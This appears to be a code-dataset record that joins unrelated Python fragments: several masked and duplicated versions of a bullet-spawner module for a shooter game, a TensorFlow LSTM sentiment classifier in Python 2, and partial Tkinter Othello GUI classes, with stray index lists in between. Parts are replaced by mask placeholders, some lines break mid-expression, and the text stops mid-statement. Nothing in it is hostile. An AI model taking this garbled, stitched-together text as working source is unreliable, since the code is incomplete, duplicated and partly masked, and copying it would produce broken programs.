self.calculatePositions(master, master._playerPosition, None,
masterPosition)
self._maskName = bulletSpawnerTemplate._maskName
self._maskLayer = bulletSpawnerTemplate._maskLayer
def calculateBullets(self):
returnList = []
mode = 'initialDelayMode'
switchCounter = -1
currentRound = 0
for i in self._positionList:
self._internalCounter = self._internalCounter + 1
switchCounter = switchCounter + 1
if mode == 'initialDelayMode':
if switchCounter >= self._initialDelay:
mode = 'sprayMode'
switchCounter = -1
self._seenCycle = (self._spawningCycle + self.
_internalCounter)
elif mode == 'sprayMode':
if switchCounter in self._sprayTimer:
for j in self._exitLocations:
offset = CUS_Polar(self._displacement, j)
pos = CUS_Point(0.0, 0.0)
pos.add(toPoint(offset))
pos._x = pos._x + i._x
pos._y = pos._y + i._y
bullet = Bullet(self._bulletTemplate, pos, j, self.
_master, self._spawningCycle + self.
_internalCounter)
returnList.append(bullet)
if switchCounter >= self._lengthOfSpray:
mode = 'inBetweenTimerMode'
currentRound = currentRound + 1
switchCounter = -1
elif mode == 'inBetweenTimerMode':
if switchCounter >= self._inBetweenTimer:
mode = 'sprayMode'
switchCounter = -1
if currentRound >= self._rounds and self._rounds is not -1:
mode = 'sprayOverMode'
self._deathCycle = (self._spawningCycle + self.
_internalCounter)
return returnList
class BulletMaster(object):
def __init__(self, bulletMasterTemplate, masterPositionList, master,
enemy, spawningCycle):
self._name = bulletMasterTemplate._name
self._bulletSpawners = []
for i in bulletMasterTemplate._bulletSpawnerTemplates:
self._bulletSpawners.append(BulletSpawner(i, masterPositionList,
master, enemy, spawningCycle))
def calculateBullets(self):
returnList = []
for i in self._bulletSpawners:
returnList.extend(i.calculateBullets())
return returnList
| <mask token>
class BulletTemplate(object):
def __init__(self, animationName, initialVelocity, hitbox):
self._spawningCycle = 0
self._animationName = animationName
self._initialVelocity = initialVelocity
self._movementList = dict()
self._hitbox = hitbox
<mask token>
class BulletSpawnerTemplate(object):
def __init__(self, initialPosition, initialVelocity):
self._spawningCycle = 0
self._initialPosition = initialPosition
self._initialVelocity = initialVelocity
self._movementList = dict()
self._displacement = 0
self._exitLocations = []
self._rotationSpeed = 0
self._initialDelay = 0
self._sprayTimer = []
self._inBetweenTimer = 0
self._rounds = -1
self._bulletTemplate = None
self._maskName = ''
self._maskLayer = 0
def addSprayTimer(self, sprayTimer):
self._sprayTimer.extend(sprayTimer)
def setRounds(self, rounds):
self._rounds = rounds
def setInitialDelay(self, initialDelay):
self._initialDelay = initialDelay
def setInBetweenTimer(self, delay):
self._inBetweenTimer = delay
def addExitLocation(self, location):
self._exitLocations.append(location)
def addBulletTemplate(self, bulletTemplate):
self._bulletTemplate = bulletTemplate
def addMovementCommand(self, cycle, movementCommand):
self._movementList[cycle] = movementCommand
def addMask(self, maskName, maskLayer):
self._maskName = maskName
self._maskLayer = maskLayer
class BulletMasterTemplate(object):
def __init__(self, name):
self._name = name
self._bulletSpawnerTemplates = []
self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}
def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):
self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)
class Bullet(MovementCommander):
def __init__(self, bulletTemplate, position, exitAngle, master,
spawningCycle):
temp = copy.deepcopy(bulletTemplate._initialVelocity)
temp._angle = temp._angle + exitAngle
super().__init__(position, temp, spawningCycle)
self.addStartingParameters(position, temp)
self._animationName = bulletTemplate._animationName
for i in bulletTemplate._movementList:
self.addMovementCommandDirect(i, bulletTemplate._movementList[i])
self.calculatePositions(master, master._playerPosition, [-100, -100,
1620, 1180], None)
class BulletSpawner(MovementCommander):
def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,
spawningCycle):
self._internalCounter = 0
self._exitLocations = []
self._displacement = 0.0
self._master = master
self._displacement = bulletSpawnerTemplate._displacement
for i in bulletSpawnerTemplate._exitLocations:
self._exitLocations.append(i)
self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed
self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate
self._spawningCycle = enemy._spawningCycle
self._seenCycle = enemy._spawningCycle
self._deathCycle = enemy._deathCycle
self._sprayTimer = bulletSpawnerTemplate._sprayTimer
self._initialDelay = bulletSpawnerTemplate._initialDelay
try:
self._lengthOfSpray = max(self._sprayTimer)
except ValueError:
self._lengthOfSpray = 0
self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer
self._rounds = bulletSpawnerTemplate._rounds
super().__init__(bulletSpawnerTemplate._initialPosition,
bulletSpawnerTemplate._initialVelocity, spawningCycle)
self.calculatePositions(master, master._playerPosition, None,
masterPosition)
self._maskName = bulletSpawnerTemplate._maskName
self._maskLayer = bulletSpawnerTemplate._maskLayer
def calculateBullets(self):
returnList = []
mode = 'initialDelayMode'
switchCounter = -1
currentRound = 0
for i in self._positionList:
self._internalCounter = self._internalCounter + 1
switchCounter = switchCounter + 1
if mode == 'initialDelayMode':
if switchCounter >= self._initialDelay:
mode = 'sprayMode'
switchCounter = -1
self._seenCycle = (self._spawningCycle + self.
_internalCounter)
elif mode == 'sprayMode':
if switchCounter in self._sprayTimer:
for j in self._exitLocations:
offset = CUS_Polar(self._displacement, j)
pos = CUS_Point(0.0, 0.0)
pos.add(toPoint(offset))
pos._x = pos._x + i._x
pos._y = pos._y + i._y
bullet = Bullet(self._bulletTemplate, pos, j, self.
_master, self._spawningCycle + self.
_internalCounter)
returnList.append(bullet)
if switchCounter >= self._lengthOfSpray:
mode = 'inBetweenTimerMode'
currentRound = currentRound + 1
switchCounter = -1
elif mode == 'inBetweenTimerMode':
if switchCounter >= self._inBetweenTimer:
mode = 'sprayMode'
switchCounter = -1
if currentRound >= self._rounds and self._rounds is not -1:
mode = 'sprayOverMode'
self._deathCycle = (self._spawningCycle + self.
_internalCounter)
return returnList
class BulletMaster(object):
def __init__(self, bulletMasterTemplate, masterPositionList, master,
enemy, spawningCycle):
self._name = bulletMasterTemplate._name
self._bulletSpawners = []
for i in bulletMasterTemplate._bulletSpawnerTemplates:
self._bulletSpawners.append(BulletSpawner(i, masterPositionList,
master, enemy, spawningCycle))
def calculateBullets(self):
returnList = []
for i in self._bulletSpawners:
returnList.extend(i.calculateBullets())
return returnList
| #classes that store values related to levels
from mg_cus_struct import *
from mg_movement import *
import copy
class BulletTemplate(object) :
def __init__(self, animationName, initialVelocity, hitbox) :
self._spawningCycle = 0
self._animationName = animationName
self._initialVelocity = initialVelocity
self._movementList = dict()
self._hitbox = hitbox
def addMovementCommand(self, cycle, movementCommand) :
self._movementList[cycle] = movementCommand
class BulletSpawnerTemplate(object) :
def __init__(self, initialPosition, initialVelocity) :
self._spawningCycle = 0
self._initialPosition = initialPosition
self._initialVelocity = initialVelocity
self._movementList = dict()
self._displacement = 0
self._exitLocations = []
self._rotationSpeed = 0
self._initialDelay = 0
self._sprayTimer = []
self._inBetweenTimer = 0
self._rounds = -1
self._bulletTemplate = None
#mask
self._maskName = ""
self._maskLayer = 0
def addSprayTimer(self, sprayTimer) :
self._sprayTimer.extend(sprayTimer)
def setRounds(self, rounds) :
self._rounds = rounds
def setInitialDelay(self, initialDelay) :
self._initialDelay = initialDelay
def setInBetweenTimer(self, delay) :
self._inBetweenTimer = delay
def addExitLocation(self, location) :
self._exitLocations.append(location)
def addBulletTemplate(self, bulletTemplate) :
self._bulletTemplate = bulletTemplate
def addMovementCommand(self, cycle, movementCommand) :
self._movementList[cycle] = movementCommand
def addMask(self, maskName, maskLayer) :
self._maskName = maskName
self._maskLayer = maskLayer
class BulletMasterTemplate(object) :
def __init__(self, name) :
self._name = name
self._bulletSpawnerTemplates = []
self._powerUpTable = {
"life" : 0,
"power" : 0,
"spell" : 0,
"points" : 0,
}
def addBulletSpawnerTemplates(self, bulletSpawnerTemplate) :
self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)
class Bullet(MovementCommander) :
def __init__(self, bulletTemplate, position, exitAngle, master, spawningCycle) :
temp = copy.deepcopy(bulletTemplate._initialVelocity)
temp._angle = temp._angle + exitAngle
super().__init__(position, temp, spawningCycle)
self.addStartingParameters(position, temp)
self._animationName = bulletTemplate._animationName
for i in bulletTemplate._movementList :
self.addMovementCommandDirect(i, bulletTemplate._movementList[i])
self.calculatePositions(master, master._playerPosition, [-100, -100, 1620, 1180], None)
class BulletSpawner(MovementCommander) :
def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy, spawningCycle) :
self._internalCounter = 0
self._exitLocations = []
self._displacement = 0.0
self._master = master
self._displacement = bulletSpawnerTemplate._displacement
for i in bulletSpawnerTemplate._exitLocations :
self._exitLocations.append(i)
self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed
self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate
self._spawningCycle = enemy._spawningCycle
self._seenCycle = enemy._spawningCycle
self._deathCycle = enemy._deathCycle
self._sprayTimer = bulletSpawnerTemplate._sprayTimer
self._initialDelay = bulletSpawnerTemplate._initialDelay
try :
self._lengthOfSpray = max(self._sprayTimer)
except ValueError:
self._lengthOfSpray = 0
self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer
self._rounds = bulletSpawnerTemplate._rounds
super().__init__(bulletSpawnerTemplate._initialPosition, bulletSpawnerTemplate._initialVelocity, spawningCycle)
self.calculatePositions(master, master._playerPosition, None, masterPosition)
#apply masks
self._maskName = bulletSpawnerTemplate._maskName
self._maskLayer = bulletSpawnerTemplate._maskLayer
def calculateBullets(self) :
returnList = []
mode = "initialDelayMode"
switchCounter = -1
currentRound = 0
for i in self._positionList :
self._internalCounter = self._internalCounter + 1
switchCounter = switchCounter + 1
if mode == "initialDelayMode" :
if switchCounter >= self._initialDelay :
mode = "sprayMode"
switchCounter = -1
self._seenCycle = self._spawningCycle + self._internalCounter
elif mode == "sprayMode" :
if switchCounter in self._sprayTimer :
for j in self._exitLocations :
offset = CUS_Polar(self._displacement, j)
pos = CUS_Point(0.0, 0.0)
pos.add(toPoint(offset))
pos._x = pos._x + i._x
pos._y = pos._y + i._y
bullet = Bullet(self._bulletTemplate, pos, j, self._master, self._spawningCycle+self._internalCounter)
returnList.append(bullet)
if switchCounter >= self._lengthOfSpray :
mode = "inBetweenTimerMode"
currentRound = currentRound + 1
switchCounter = -1
elif mode == "inBetweenTimerMode" :
if switchCounter >= self._inBetweenTimer :
mode = "sprayMode"
switchCounter = -1
if currentRound >= self._rounds and self._rounds is not -1 :
mode = "sprayOverMode"
self._deathCycle = self._spawningCycle + self._internalCounter
return returnList
class BulletMaster(object) :
def __init__(self, bulletMasterTemplate, masterPositionList, master, enemy, spawningCycle) :
self._name = bulletMasterTemplate._name
self._bulletSpawners = []
for i in bulletMasterTemplate._bulletSpawnerTemplates :
self._bulletSpawners.append(BulletSpawner(i, masterPositionList, master, enemy, spawningCycle))
def calculateBullets(self) :
returnList = []
for i in self._bulletSpawners :
returnList.extend(i.calculateBullets())
return returnList
| [
13,
20,
21,
23,
26
] |
9,933 | 7e461e212d9944c229d1473ea16283d3d036bf55 | import tensorflow as tf
import gensim
import string
import numpy as np
import random
##### prepare data
path = 'stanfordSentimentTreebank/output_50d.txt'
# model_path = 'stanfordSentimentTreebank/output'
# model = gensim.models.Word2Vec.load(model_path)
model = gensim.models.KeyedVectors.load_word2vec_format('/Users/ivanfzh/Downloads/glove.6B/glove.6B.50d.txt',
binary=False)
sentence_max = 56
class Data(object):
def __init__(self):
self.data_in = []
self.data_label = []
self.batch_id = 0
self.data_length = []
fp = open(path, 'r')
for l in fp.readlines():
line = l.strip('\n').split('|')
word_list = line[0].split(' ')
s = []
for item in word_list:
item = string.lower(item)
s.append(model[item].tolist())
if len(word_list) < sentence_max:
for i in range(sentence_max - len(word_list)):
s.append([0. for k in range(50)])
self.data_length.append(len(word_list))
l = [0. for k in range(5)]
value = float(line[1])
label_index = int(value / 0.2)
if label_index >= 5:
l[4] = 1.0
else:
l[label_index] = 1.0
self.data_in.append(s)
self.data_label.append(l)
def next(self, batch_size):
if self.batch_id + batch_size >= len(self.data_in):
batch_data_in = self.data_in[self.batch_id: len(self.data_in)]
batch_data_label = self.data_label[self.batch_id: len(self.data_in)]
batch_data_length = self.data_length[self.batch_id: len(self.data_in)]
self.batch_id = self.batch_id + batch_size - len(self.data_in)
batch_data_in += self.data_in[0:self.batch_id]
batch_data_label += self.data_label[0:self.batch_id]
batch_data_length += self.data_length[0:self.batch_id]
else:
batch_data_in = self.data_in[self.batch_id: self.batch_id + batch_size]
batch_data_label = self.data_label[self.batch_id: self.batch_id + batch_size]
batch_data_length = self.data_length[self.batch_id: self.batch_id + batch_size]
self.batch_id = self.batch_id + batch_size
return batch_data_in, batch_data_label, batch_data_length
trainset = Data()
print len(trainset.data_in)
# ==============
# MODEL
# ==============
learning_rate = 0.001
training_iters = 500000
batch_size = 128
display_step = 100
# Network Parameters
n_input = 50 # data input (shape: 50*56)
n_steps = 56 # timesteps
n_hidden = 128 # hidden layer num of features
n_classes = 5 # total classes
x = tf.placeholder(tf.float32, [None, n_steps, n_input])
y = tf.placeholder(tf.float32, [None, n_classes])
z = tf.placeholder(tf.int32, [batch_size])
weights = {
# (50, 128)
# 'in': tf.Variable(tf.random_normal([n_input, n_hidden])),
# Hidden layer weights
# (128, 5)
'out': tf.Variable(tf.random_normal([n_hidden, n_classes]))
}
biases = {
# 'in': tf.Variable(tf.constant(0.1, shape=[n_hidden, ])),
'out': tf.Variable(tf.random_normal([n_classes, ]))
}
def dynamicRNN(x, seqlen, weights, biases):
# Prepare data shape to match `rnn` function requirements
# Current data input shape: (batch_size, n_steps, n_input)
# Required shape: 'n_steps' tensors list of shape (batch_size, n_input)
# Unstack to get a list of 'n_steps' tensors of shape (batch_size, n_input)
x = tf.unstack(x, sentence_max, 1)
# Define a lstm cell with tensorflow
lstm_cell = tf.contrib.rnn.BasicLSTMCell(n_hidden)
# Get lstm cell output, providing 'sequence_length' will perform dynamic
# calculation.
outputs, states = tf.contrib.rnn.static_rnn(lstm_cell, x, dtype=tf.float32,
sequence_length=seqlen)
# When performing dynamic calculation, we must retrieve the last
# dynamically computed output, i.e., if a sequence length is 10, we need
# to retrieve the 10th output.
# However TensorFlow doesn't support advanced indexing yet, so we build
# a custom op that for each sample in batch size, get its length and
# get the corresponding relevant output.
# 'outputs' is a list of output at every timestep, we pack them in a Tensor
# and change back dimension to [batch_size, n_step, n_input]
outputs = tf.stack(outputs)
outputs = tf.transpose(outputs, [1, 0, 2])
# Hack to build the indexing and retrieve the right output.
batch_size = tf.shape(outputs)[0]
# Start indices for each sample
index = tf.range(0, batch_size) * sentence_max + (seqlen - 1)
# Indexing
outputs = tf.gather(tf.reshape(outputs, [-1, n_hidden]), index)
# Linear activation, using outputs computed above
return tf.matmul(outputs, weights['out']) + biases['out']
pred = dynamicRNN(x, z, weights, biases)
cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=pred, labels=y))
optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)
correct_pred = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1))
accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))
t_acc = 0
with tf.Session() as sess:
init = tf.global_variables_initializer()
sess.run(init)
step = 1
while step * batch_size <= training_iters:
batch_x, batch_y, batch_length = trainset.next(batch_size)
sess.run(optimizer, feed_dict={
x: batch_x,
y: batch_y,
z: batch_length
})
acc = sess.run(accuracy, feed_dict={x: batch_x, y: batch_y, z: batch_length})
t_acc = (acc + t_acc * (step - 1)) / (float(step))
if step % display_step == 0:
acc = sess.run(accuracy, feed_dict={x: batch_x, y: batch_y, z: batch_length})
# Calculate batch loss
loss = sess.run(cost, feed_dict={x: batch_x, y: batch_y, z: batch_length})
print("Iter " + str(step * batch_size) + ", Minibatch Loss= " + \
"{:.6f}".format(loss) + ", Training Accuracy= " + \
"{:.5f}".format(t_acc) + ",batch Training Accuracy= " + \
"{:.5f}".format(acc))
step += 1
print 'Optimizer Complete'
| null | null | null | null | [
0
] |
9,934 | 9b8f3962172d4a867a3a070b6139bb302fd7e2f5 | <mask token>
class Pregame(tk.Frame):
<mask token>
<mask token>
def __GUI_Reset__(self):
for widget in self.winfo_children():
widget.destroy()
tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(
side='top')
Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10
)
rule_set_frame = tk.Frame(self, bg='white')
rule_set_frame.pack(pady=10)
self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=
FONTS['medium'], bg='white')
self.rs_label.pack(side='top')
self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[
'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(
'full'))
self.full_btn.pack()
self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=
FONTS['medium'], bg='#bbbbbb', command=lambda : self.
Select_Rule_Set('simple'))
self.simple_btn.pack()
row_frame = tk.Frame(self, bg='white')
row_frame.pack(pady=10)
self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[
'medium'], bg='white')
self.row_label.grid(row=0, column=0, columnspan=7)
self.Rows_Buttons = []
place = 0
for rows in [4, 6, 8, 10, 12, 14, 16]:
x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],
bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))
x.grid(row=1, column=place)
self.Rows_Buttons.append(x)
place += 1
col_frame = tk.Frame(self, bg='white')
col_frame.pack(pady=10)
self.col_label = tk.Label(col_frame, text='Board Columns', font=
FONTS['medium'], bg='white')
self.col_label.grid(row=0, column=0, columnspan=7)
self.Cols_Buttons = []
place = 0
for cols in [4, 6, 8, 10, 12, 14, 16]:
x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],
bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))
x.grid(row=1, column=place)
self.Cols_Buttons.append(x)
place += 1
first_move_frame = tk.Frame(self, bg='white')
first_move_frame.pack(pady=10)
self.first_move_label = tk.Label(first_move_frame, text=
'First to move', bg='white', font=FONTS['medium'])
self.first_move_label.grid(row=0, column=0, columnspan=2)
self.black_btn = tk.Button(first_move_frame, text='Black', bg=
'#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_First_Move('black'))
self.black_btn.grid(row=1, column=0)
self.white_btn = tk.Button(first_move_frame, text='White', bg=
'#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_First_Move('white'))
self.white_btn.grid(row=1, column=1)
condition_frame = tk.Frame(self, bg='white')
condition_frame.pack(pady=10)
self.condition_label = tk.Label(condition_frame, text=
'The winner is, the player with..', bg='white', font=FONTS[
'medium'])
self.condition_label.grid(row=0, column=0, columnspan=2)
self.greater_score = tk.Button(condition_frame, text='more discs.',
bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_Condition('>'))
self.greater_score.grid(row=1, column=0)
self.lesser_score = tk.Button(condition_frame, text='less discs.',
bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_Condition('<'))
self.lesser_score.grid(row=1, column=1)
self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',
activebackground='#992222', font=FONTS['medium'])
self.Start_Game_Btn.pack(side='bottom')
def Select_Rule_Set(self, _set: str):
if _set == 'simple':
self.controller.Handler.GameParams['game_type'] = 1
else:
self.controller.Handler.GameParams['game_type'] = 2
self.full_btn.destroy()
self.simple_btn.destroy()
self.rs_label.configure(text='Rule Set: ' + _set.upper())
self.set_vals.append('rules')
self.Check_Can_Start()
def Select_Rows(self, rows: int):
self.controller.Handler.GameParams['y_size'] = rows
for button in self.Rows_Buttons:
button.destroy()
self.row_label.configure(text='Board Rows: ' + str(rows))
self.set_vals.append('rows')
self.Check_Can_Start()
<mask token>
def Select_First_Move(self, mover: str):
if mover == 'black':
self.controller.Handler.GameParams['first_move'] = 'B'
else:
self.controller.Handler.GameParams['first_move'] = 'W'
self.black_btn.destroy()
self.white_btn.destroy()
self.first_move_label.configure(text='First to move: ' + mover)
self.set_vals.append('move')
self.Check_Can_Start()
<mask token>
<mask token>
<mask token>
class Custom_Board(tk.Frame):
FrameName = 'Setup_Board'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.Title_Frame = tk.Frame(self, bg='white')
self.Title_Frame.pack(side='top', fill='x')
tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',
font=FONTS['medium']).pack(side='left')
start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',
activebackground='#229922', font=FONTS['medium'], command=lambda :
self.Start())
start.pack(side='right')
self.Use_Board = tk.IntVar()
Use_Board = tk.Checkbutton(self.Title_Frame, text=
'Use custom board', font=FONTS['medium'], bg='white',
activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0
)
Use_Board.pack(side='right', padx=10)
self.Board_Area = tk.Frame(self, bg='#009900')
self.Board_Area.pack(side='top', fill='both', expand=True)
self.Board = []
def Setup_Board(self):
for widget in self.Board_Area.winfo_children():
widget.destroy()
self.Board = []
for y in range(self.controller.Handler.GameParams['y_size']):
row = []
for x in range(self.controller.Handler.GameParams['x_size']):
height = self.Board_Area.winfo_height()
width = self.Board_Area.winfo_width()
if height > width:
diameter = width / self.controller.Handler.GameParams[
'x_size']
else:
diameter = height / self.controller.Handler.GameParams[
'y_size']
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
disc = wg.Disc(self.Board_Area, self.controller, diameter=
diameter, mode='setup')
disc.grid(row=y, column=x, sticky='nsew')
row.append(disc)
self.Board.append(row)
def Parse_Board(self) ->list:
new_board = []
for row in self.Board:
new_row = []
for disc in row:
if disc.Current_Color == 'white':
new_row.append('W')
elif disc.Current_Color == 'black':
new_row.append('B')
else:
new_row.append(None)
new_board.append(new_row)
return new_board
def Instructions_Display(self):
showinfo('How to use',
'Click on a tile to cycle between white, black or empty. Check the "Use Custom Board" box to use this board!'
)
def Start(self):
if self.Use_Board.get():
self.controller.Handler.GameParams['board'] = self.Parse_Board()
self.controller.Begin_Game()
self.controller.Pages['Game'].__GUI_init__()
self.controller.Pages['Game'].Update_Board()
self.controller.showPage('Game')
class Game(tk.Frame):
FrameName = 'Game'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.Status_Bar = tk.Frame(self, bg='white')
self.Status_Bar.pack(side='top', fill='x')
self.Status_Bar.grid_columnconfigure(0, weight=1)
self.Status_Bar.grid_columnconfigure(1, weight=1)
self.Status_Bar.grid_columnconfigure(2, weight=1)
self.Status_Bar.grid_rowconfigure(0, weight=1)
self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=
'white', font=FONTS['medium'])
self.Current_Player.grid(row=0, column=0)
self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',
font=FONTS['medium'])
self.Game_Type.grid(row=0, column=1)
self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',
bg='white', font=FONTS['medium'])
self.Score.grid(row=0, column=2)
self.Board_Area = tk.Frame(self, bg='#009900')
self.Board_Area.pack(side='top', fill='both', expand=True)
self.Board = []
def __GUI_init__(self):
for y in range(self.controller.Handler.GameParams['y_size']):
row = []
for x in range(self.controller.Handler.GameParams['x_size']):
height = self.Board_Area.winfo_height()
width = self.Board_Area.winfo_width()
if height > width:
diameter = width / self.controller.Handler.GameParams[
'x_size']
else:
diameter = height / self.controller.Handler.GameParams[
'y_size']
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
disc = wg.Disc(self.Board_Area, self.controller, diameter=
diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)
)
disc.grid(row=y, column=x, sticky='nsew')
row.append(disc)
self.Board.append(row)
self.Update_Board()
def Reset_Game(self):
self.Board = []
for widget in self.Board_Area.winfo_children():
widget.destroy()
def Disc_Function(self, x: int, y: int):
if not self.controller.Handler.Move(x + 1, y + 1):
self.Invalid_Move()
def Invalid_Move(self):
showerror('Invalid Move', 'You cannot move there!')
def Update_Board(self):
for y in range(len(self.Board)):
for x in range(len(self.Board[y])):
game_piece = self.controller.Handler.Game.Board[y][x]
if game_piece == None:
pass
elif game_piece == 'B':
if self.Board[y][x].Current_Color != 'black':
self.Board[y][x].Set_Piece_Color('black')
elif game_piece == 'W':
if self.Board[y][x].Current_Color != 'white':
self.Board[y][x].Set_Piece_Color('white')
def Update_Current_Player(self):
self.Current_Player.config(text='Turn: ' + self.controller.
Get_Current_Player())
def Update_Game_Type(self):
g_type = self.controller.Handler.Get_Game_Type()
self.Game_Type.configure(text='Rules: ' + g_type)
def Update_Score(self):
b, w = self.controller.Handler.Get_Score()
self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))
def Full_Update(self):
self.Update_Score()
self.Update_Current_Player()
self.Update_Board()
class Postgame(tk.Frame):
FrameName = 'Postgame'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.Title = tk.Label(self, text='Game Over!', bg='white', font=
FONTS['large'])
self.Title.pack(side='top')
Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10
)
self.Winner = tk.Label(self, text='The winner is black-discs.', bg=
'white', font=FONTS['medium'])
self.Winner.pack(side='top')
self.Buttons = tk.Frame(self, bg='white')
self.Buttons.pack()
Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=
FONTS['medium'], command=lambda : self.Replay())
Replay.grid(row=0, column=0)
Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=
FONTS['medium'], command=lambda : self.Quit())
Quit.grid(row=0, column=1)
self.Board_Area = tk.Frame(self, bg='white')
self.Board_Area.pack(side='bottom')
self.Score = tk.Label(self.Board_Area, text='', bg='white', font=
FONTS['medium'])
self.Score.pack()
self.Board_Display = tk.Frame(self.Board_Area, bg='green')
self.Board_Display.pack()
self.Board = []
def Replay(self):
self.controller.Replay()
def Quit(self):
self.controller.destroy()
exit()
def Update_Board(self):
for widget in self.Board_Display.winfo_children():
widget.destroy()
for y in range(self.controller.Handler.GameParams['y_size']):
row = []
for x in range(self.controller.Handler.GameParams['x_size']):
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
col = None
place_col = self.controller.Handler.Game.Board[y][x]
if place_col == 'B':
col = 'black'
elif place_col == 'W':
col = 'white'
disc = wg.Disc(self.Board_Display, self.controller, col=col,
diameter=50)
disc.grid(row=y, column=x, sticky='nsew')
row.append(disc)
self.Board.append(row)
def Update(self):
winner, scores = self.controller.Handler.Get_Winner()
if winner.lower() == 'b':
winner = 'black-discs'
elif winner.lower() == 'w':
winner = 'white-discs'
else:
winner == 'no one'
self.Winner.configure(text='The winner is ' + winner)
self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(
scores[0], scores[1]))
self.Update_Board()
<mask token>
| <mask token>
class Pregame(tk.Frame):
<mask token>
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.set_vals = []
self.__GUI_Reset__()
def __GUI_Reset__(self):
for widget in self.winfo_children():
widget.destroy()
tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(
side='top')
Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10
)
rule_set_frame = tk.Frame(self, bg='white')
rule_set_frame.pack(pady=10)
self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=
FONTS['medium'], bg='white')
self.rs_label.pack(side='top')
self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[
'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(
'full'))
self.full_btn.pack()
self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=
FONTS['medium'], bg='#bbbbbb', command=lambda : self.
Select_Rule_Set('simple'))
self.simple_btn.pack()
row_frame = tk.Frame(self, bg='white')
row_frame.pack(pady=10)
self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[
'medium'], bg='white')
self.row_label.grid(row=0, column=0, columnspan=7)
self.Rows_Buttons = []
place = 0
for rows in [4, 6, 8, 10, 12, 14, 16]:
x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],
bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))
x.grid(row=1, column=place)
self.Rows_Buttons.append(x)
place += 1
col_frame = tk.Frame(self, bg='white')
col_frame.pack(pady=10)
self.col_label = tk.Label(col_frame, text='Board Columns', font=
FONTS['medium'], bg='white')
self.col_label.grid(row=0, column=0, columnspan=7)
self.Cols_Buttons = []
place = 0
for cols in [4, 6, 8, 10, 12, 14, 16]:
x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],
bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))
x.grid(row=1, column=place)
self.Cols_Buttons.append(x)
place += 1
first_move_frame = tk.Frame(self, bg='white')
first_move_frame.pack(pady=10)
self.first_move_label = tk.Label(first_move_frame, text=
'First to move', bg='white', font=FONTS['medium'])
self.first_move_label.grid(row=0, column=0, columnspan=2)
self.black_btn = tk.Button(first_move_frame, text='Black', bg=
'#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_First_Move('black'))
self.black_btn.grid(row=1, column=0)
self.white_btn = tk.Button(first_move_frame, text='White', bg=
'#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_First_Move('white'))
self.white_btn.grid(row=1, column=1)
condition_frame = tk.Frame(self, bg='white')
condition_frame.pack(pady=10)
self.condition_label = tk.Label(condition_frame, text=
'The winner is, the player with..', bg='white', font=FONTS[
'medium'])
self.condition_label.grid(row=0, column=0, columnspan=2)
self.greater_score = tk.Button(condition_frame, text='more discs.',
bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_Condition('>'))
